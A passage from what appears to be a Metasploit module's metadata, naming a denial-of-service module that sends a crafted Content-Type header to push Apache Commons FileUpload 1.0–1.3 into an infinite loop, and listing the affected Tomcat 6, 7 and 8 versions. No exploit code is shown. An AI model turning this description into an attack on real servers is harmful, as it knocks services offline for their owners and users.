'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS',
'Description' => %q{
This module triggers an infinite loop in Apache Commons FileUpload 1.0
through 1.3 via a specially crafted Content-Type header.
Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle
mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50
and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also
uses Commons FileUpload as part of the Manager application.
